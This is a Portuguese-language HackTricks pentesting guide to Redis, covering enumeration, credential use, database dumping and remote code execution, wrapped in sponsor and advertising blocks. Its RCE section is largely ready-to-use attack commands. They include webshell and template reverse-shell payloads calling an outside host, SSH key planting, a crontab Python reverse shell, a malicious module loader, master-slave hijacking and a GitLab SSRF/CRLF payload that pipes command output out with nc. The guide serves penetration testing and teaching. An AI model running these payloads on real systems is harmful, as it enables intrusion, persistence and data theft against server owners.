# 6379 - Pentesting Redis
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
**HackenProof é o lar de todas as recompensas por bugs de criptografia.** **Seja recompensado sem atrasos**\ As recompensas do HackenProof são lançadas apenas quando os clientes depositam o orçamento de recompensa. Você receberá a recompensa após a verificação do bug. **Adquira experiência em pentesting web3**\ Protocolos de blockchain e contratos inteligentes são a nova Internet! Domine a segurança web3 em seus dias de ascensão. **Torne-se a lenda do hacker web3**\ Ganhe pontos de reputação com cada bug verificado e conquiste o topo do leaderboard semanal. [**Cadastre-se no HackenProof**](https://hackenproof.com/register) comece a ganhar com seus hacks! {% embed url="https://hackenproof.com/register" %} ## Informações Básicas Redis é um armazenamento de **estrutura de dados em memória** de código aberto (licenciado pela BSD), usado como **banco de dados**, cache e corretor de mensagens (de [aqui](https://redis.io/topics/introduction)). Por padrão e comumente, o Redis usa um protocolo baseado em texto simples, mas você deve ter em mente que ele também pode implementar **ssl/tls**. Aprenda como [executar o Redis com ssl/tls aqui](https://fossies.org/linux/redis/TLS.md). **Porta padrão:** 6379 ``` PORT STATE SERVICE VERSION 6379/tcp open redis Redis key-value store 4.0.9 ``` ## Enumeração Automática Algumas ferramentas automatizadas que podem ajudar a obter informações de uma instância do redis: ```bash nmap --script redis-info -sV -p 6379 msf> use auxiliary/scanner/redis/redis_server ``` ## Enumeração Manual ### Banner O Redis é um **protocolo baseado em texto**, você pode simplesmente **enviar o comando em um socket** e os valores retornados serão legíveis. Lembre-se também de que o Redis pode ser executado usando **ssl/tls** (mas isso é muito estranho). Em uma instância regular do Redis, você pode simplesmente se conectar usando `nc` ou também pode usar `redis-cli`: ```bash nc -vn 10.10.10.10 6379 redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools ``` O **primeiro comando** que você pode tentar é **`info`**. Ele **pode retornar uma saída com informações** da instância do Redis **ou algo** como o seguinte é retornado: ``` -NOAUTH Authentication required. ``` Neste último caso, isso significa que **você precisa de credenciais válidas** para acessar a instância do Redis. ### Autenticação do Redis **Por padrão**, o Redis pode ser acessado **sem credenciais**. No entanto, ele pode ser **configurado** para suportar **apenas senha ou nome de usuário + senha**.\ É possível **definir uma senha** no arquivo _**redis.conf**_ com o parâmetro `requirepass` **ou temporariamente** até que o serviço seja reiniciado, conectando-se a ele e executando: `config set requirepass p@ss$12E45`.\ Além disso, um **nome de usuário** pode ser configurado no parâmetro `masteruser` dentro do arquivo _**redis.conf**_. {% hint style="info" %} Se apenas a senha for configurada, o nome de usuário usado será "**default**".\ Além disso, observe que **não há como descobrir externamente** se o Redis foi configurado apenas com senha ou nome de usuário + senha. {% endhint %} Em casos como este, você precisará **encontrar credenciais válidas** para interagir com o Redis, então você pode tentar [**força bruta**](../generic-methodologies-and-resources/brute-force.md#redis).\ **Caso encontre credenciais válidas, você precisa autenticar a sessão** após estabelecer a conexão com o comando: ```bash AUTH ``` **Credenciais válidas** serão respondidas com: `+OK` ### **Enumeração autenticada** Se a instância do Redis estiver aceitando conexões **anônimas** ou se você encontrou algumas **credenciais válidas**, você pode **começar a enumerar** o serviço com os seguintes comandos: ```bash INFO [ ... Redis response with info ... ] client list [ ... Redis response with connected clients ... ] CONFIG GET * [ ... Get config ... ] ``` **Outros comandos Redis** podem ser encontrados [aqui](https://redis.io/topics/data-types-intro) **e** [aqui](https://lzone.de/cheat-sheet/Redis)**.**\ Observe que os **comandos Redis de uma instância podem ser renomeados** ou removidos no arquivo _redis.conf_. Por exemplo, esta linha removerá o comando FLUSHDB: ``` rename-command FLUSHDB "" ``` Mais informações sobre a configuração segura de um serviço Redis podem ser encontradas aqui: [https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04) Você também pode **monitorar em tempo real os comandos Redis** executados com o comando **`monitor`** ou obter as **25 consultas mais lentas** com **`slowlog get 25`** Encontre mais informações interessantes sobre outros comandos Redis aqui: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis) ### **Despejando o Banco de Dados** Dentro do Redis, os **bancos de dados são números que começam em 0**. Você pode verificar se algum deles está sendo usado na saída do comando `info` dentro do bloco "Keyspace": ![](<../.gitbook/assets/image (315).png>) Ou você pode simplesmente obter todos os **keyspaces** (bancos de dados) com: ``` INFO keyspace ``` Nesse exemplo, o **banco de dados 0 e 1** estão sendo usados. **O banco de dados 0 contém 4 chaves e o banco de dados 1 contém 1**. Por padrão, o Redis usará o banco de dados 0. Para fazer o dump do banco de dados 1, por exemplo, você precisa fazer o seguinte: ```bash SELECT 1 [ ... Indicate the database ... ] KEYS * [ ... Get Keys ... ] GET [ ... Get Key ... ] ``` Caso você receba o seguinte erro `-WRONGTYPE Operação contra uma chave que contém um tipo de valor incorreto` ao executar `GET `, é porque a chave pode ser algo diferente de uma string ou um número inteiro e requer um operador especial para exibi-la. Para saber o tipo da chave, use o comando `TYPE`, exemplo abaixo para chaves de lista e hash. ``` TYPE [ ... Type of the Key ... ] LRANGE 0 -1 [ ... Get list items ... ] HGET [ ... Get hash item ... ] ``` **Despeje o banco de dados com npm** [**redis-dump**](https://www.npmjs.com/package/redis-dump) **ou python** [**redis-utils**](https://pypi.org/project/redis-utils/)
**HackenProof é o lar de todas as recompensas por bugs de criptografia.** **Seja recompensado sem atrasos**\ As recompensas do HackenProof são lançadas apenas quando seus clientes depositam o orçamento de recompensa. Você receberá a recompensa após a verificação do bug. **Adquira experiência em pentesting web3**\ Protocolos de blockchain e contratos inteligentes são a nova Internet! Domine a segurança web3 em seus dias de ascensão. **Torne-se a lenda do hacker web3**\ Ganhe pontos de reputação com cada bug verificado e conquiste o topo do leaderboard semanal. [**Cadastre-se no HackenProof**](https://hackenproof.com/register) comece a ganhar com seus hacks! {% embed url="https://hackenproof.com/register" %} ## Redis RCE ### Shell Interativo [**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) pode obter automaticamente um shell interativo ou um shell reverso no Redis (<=5.0.5). ``` ./redis-rogue-server.py --rhost --lhost ``` ### PHP Webshell Informações da [**qui**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html). Você precisa saber o **caminho** da **pasta do site**: ``` root@Urahara:~# redis-cli -h 10.85.0.52 10.85.0.52:6379> config set dir /usr/share/nginx/html OK 10.85.0.52:6379> config set dbfilename redis.php OK 10.85.0.52:6379> set test "" OK 10.85.0.52:6379> save OK ``` Se a exceção de acesso ao webshell ocorrer, você pode esvaziar o banco de dados após fazer o backup e tentar novamente, lembre-se de restaurar o banco de dados. ### Template Webshell Assim como na seção anterior, você também pode sobrescrever algum arquivo de modelo HTML que será interpretado por um mecanismo de modelo e obter um shell. Por exemplo, seguindo [**este writeup**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/), você pode ver que o invasor injetou um **shell reverso em um HTML** interpretado pelo **mecanismo de modelo nunjucks:** ```javascript {{ ({}).constructor.constructor( "var net = global.process.mainModule.require('net'), cp = global.process.mainModule.require('child_process'), sh = cp.spawn('sh', []); var client = new net.Socket(); client.connect(1234, 'my-server.com', function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); });" )()}} ``` {% hint style="warning" %} Observe que **vários mecanismos de modelo em cache** os modelos na **memória**, então mesmo que você os sobrescreva, o novo **não será executado**. Nesses casos, ou o desenvolvedor deixou a recarga automática ativa ou você precisa fazer um DoS no serviço (e esperar que ele seja reiniciado automaticamente). {% endhint %} ### SSH Esteja ciente de que o resultado do comando **`config get dir`** pode ser alterado após outros comandos de exploração manual. Sugiro executá-lo primeiro logo após fazer o login no Redis. Na saída do comando **`config get dir`**, você pode encontrar o **diretório home** do **usuário redis** (geralmente _/var/lib/redis_ ou _/home/redis/.ssh_), e sabendo disso, você sabe onde pode escrever o arquivo `authenticated_users` para acessar via ssh **com o usuário redis**. Se você conhece o diretório home de outro usuário válido onde você tem permissões de gravação, também pode abusar disso: 1. Gere um par de chaves pública-privada ssh em seu computador: **`ssh-keygen -t rsa`** 2. Escreva a chave pública em um arquivo: **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`** 3. Importe o arquivo para o redis: **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`** 4. Salve a chave pública no arquivo **authorized\_keys** no servidor redis: ``` root@Urahara:~# redis-cli -h 10.85.0.52 10.85.0.52:6379> config set dir /var/lib/redis/.ssh OK 10.85.0.52:6379> config set dbfilename "authorized_keys" OK 10.85.0.52:6379> save OK ``` 5. Por fim, você pode fazer **ssh** para o **servidor redis** com a chave privada: **ssh -i id\_rsa redis@10.85.0.52** **Essa técnica está automatizada aqui:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit) ### Crontab ``` root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1 OK root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/ OK root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root OK root@Urahara:~# redis-cli -h 10.85.0.52 save OK ``` O último exemplo é para o Ubuntu, para o **Centos**, o comando acima deve ser: `redis-cli -h 10.85.0.52 config set dir /var/spool/cron/` Este método também pode ser usado para ganhar bitcoin: [yam](https://www.v2ex.com/t/286981#reply14) ### Carregar Módulo Redis 1. Seguindo as instruções em [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand), você pode **compilar um módulo redis para executar comandos arbitrários**. 2. Em seguida, você precisa de alguma forma de **fazer o upload do módulo compilado**. 3. **Carregue o módulo** carregado em tempo de execução com `MODULE LOAD /caminho/para/mymodule.so` 4. **Liste os módulos carregados** para verificar se foi carregado corretamente: `MODULE LIST` 5. **Execute** **comandos**: ``` 127.0.0.1:6379> system.exec "id" "uid=0(root) gid=0(root) groups=0(root)\n" 127.0.0.1:6379> system.exec "whoami" "root\n" 127.0.0.1:6379> system.rev 127.0.0.1 9999 ``` 6. Descarregue o módulo quando quiser: `MODULE UNLOAD mymodule` ### Bypass do Sandbox LUA [Aqui](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html) você pode ver que o Redis usa o comando **EVAL** para executar **código Lua em um ambiente isolado**. No post vinculado, você pode ver **como abusar disso** usando a função **dofile**, mas [aparentemente](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) isso não é mais possível. De qualquer forma, se você conseguir **burlar o sandbox Lua**, poderá **executar comandos arbitrários** no sistema. Além disso, no mesmo post, você pode ver algumas **opções para causar DoS**. Algumas **CVEs para escapar do LUA**: * [https://github.com/aodsec/CVE-2022-0543](https://github.com/aodsec/CVE-2022-0543) ### Módulo Master-Slave ​Todas as operações do redis mestre são automaticamente sincronizadas para o redis escravo, o que significa que podemos considerar o redis vulnerável como um redis escravo, conectado ao redis mestre que controlamos, então podemos inserir comandos no nosso próprio redis. ``` master redis : 10.85.0.51 (Hacker's Server) slave redis : 10.85.0.52 (Target Vulnerability Server) A master-slave connection will be established from the slave redis and the master redis: redis-cli -h 10.85.0.52 -p 6379 slaveof 10.85.0.51 6379 Then you can login to the master redis to control the slave redis: redis-cli -h 10.85.0.51 -p 6379 set mykey hello set mykey2 helloworld ``` ## SSRF falando com o Redis Se você pode enviar uma solicitação em **texto claro** para o **Redis**, você pode **comunicar-se com ele**, pois o Redis lerá linha por linha a solicitação e apenas responderá com erros para as linhas que não entender: ``` -ERR wrong number of arguments for 'get' command -ERR unknown command 'Host:' -ERR unknown command 'Accept:' -ERR unknown command 'Accept-Encoding:' -ERR unknown command 'Via:' -ERR unknown command 'Cache-Control:' -ERR unknown command 'Connection:' ``` Portanto, se você encontrar uma **vulnerabilidade SSRF** em um site e puder **controlar** alguns **headers** (talvez com uma vulnerabilidade CRLF) ou **parâmetros POST**, você poderá enviar comandos arbitrários para o Redis. ### Exemplo: Gitlab SSRF + CRLF para Shell No **Gitlab11.4.7**, foi descoberta uma vulnerabilidade **SSRF** e uma **CRLF**. A vulnerabilidade **SSRF** estava na funcionalidade de **importar projeto a partir de URL** ao criar um novo projeto e permitia acessar IPs arbitrários no formato \[0:0:0:0:0:ffff:127.0.0.1] (isso acessará 127.0.0.1), e a vulnerabilidade **CRLF** foi explorada apenas adicionando caracteres %0D%0A à **URL**. Portanto, foi possível **abusar dessas vulnerabilidades para se comunicar com a instância Redis** que **gerencia filas** do **gitlab** e abusar dessas filas para **obter execução de código**. O payload de abuso da fila Redis é: ``` multi sadd resque:gitlab:queues system_hook_push lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}" exec ``` E a solicitação de **codificação de URL** abusando do **SSRF** e **CRLF** para executar um `whoami` e enviar a saída via `nc` é: ``` git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git ``` _Por algum motivo (como para o autor de_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _de onde essa informação foi retirada), a exploração funcionou com o esquema `git` e não com o esquema `http`._
**HackenProof é o lar de todas as recompensas por bugs de criptografia.** **Seja recompensado sem atrasos**\ As recompensas do HackenProof são lançadas apenas quando os clientes depositam o orçamento de recompensa. Você receberá a recompensa após a verificação do bug. **Adquira experiência em pentesting web3**\ Protocolos de blockchain e contratos inteligentes são a nova Internet! Domine a segurança web3 em seus dias de ascensão. **Torne-se uma lenda hacker web3**\ Ganhe pontos de reputação com cada bug verificado e conquiste o topo do leaderboard semanal. [**Cadastre-se no HackenProof**](https://hackenproof.com/register) comece a ganhar com seus hacks! {% embed url="https://hackenproof.com/register" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).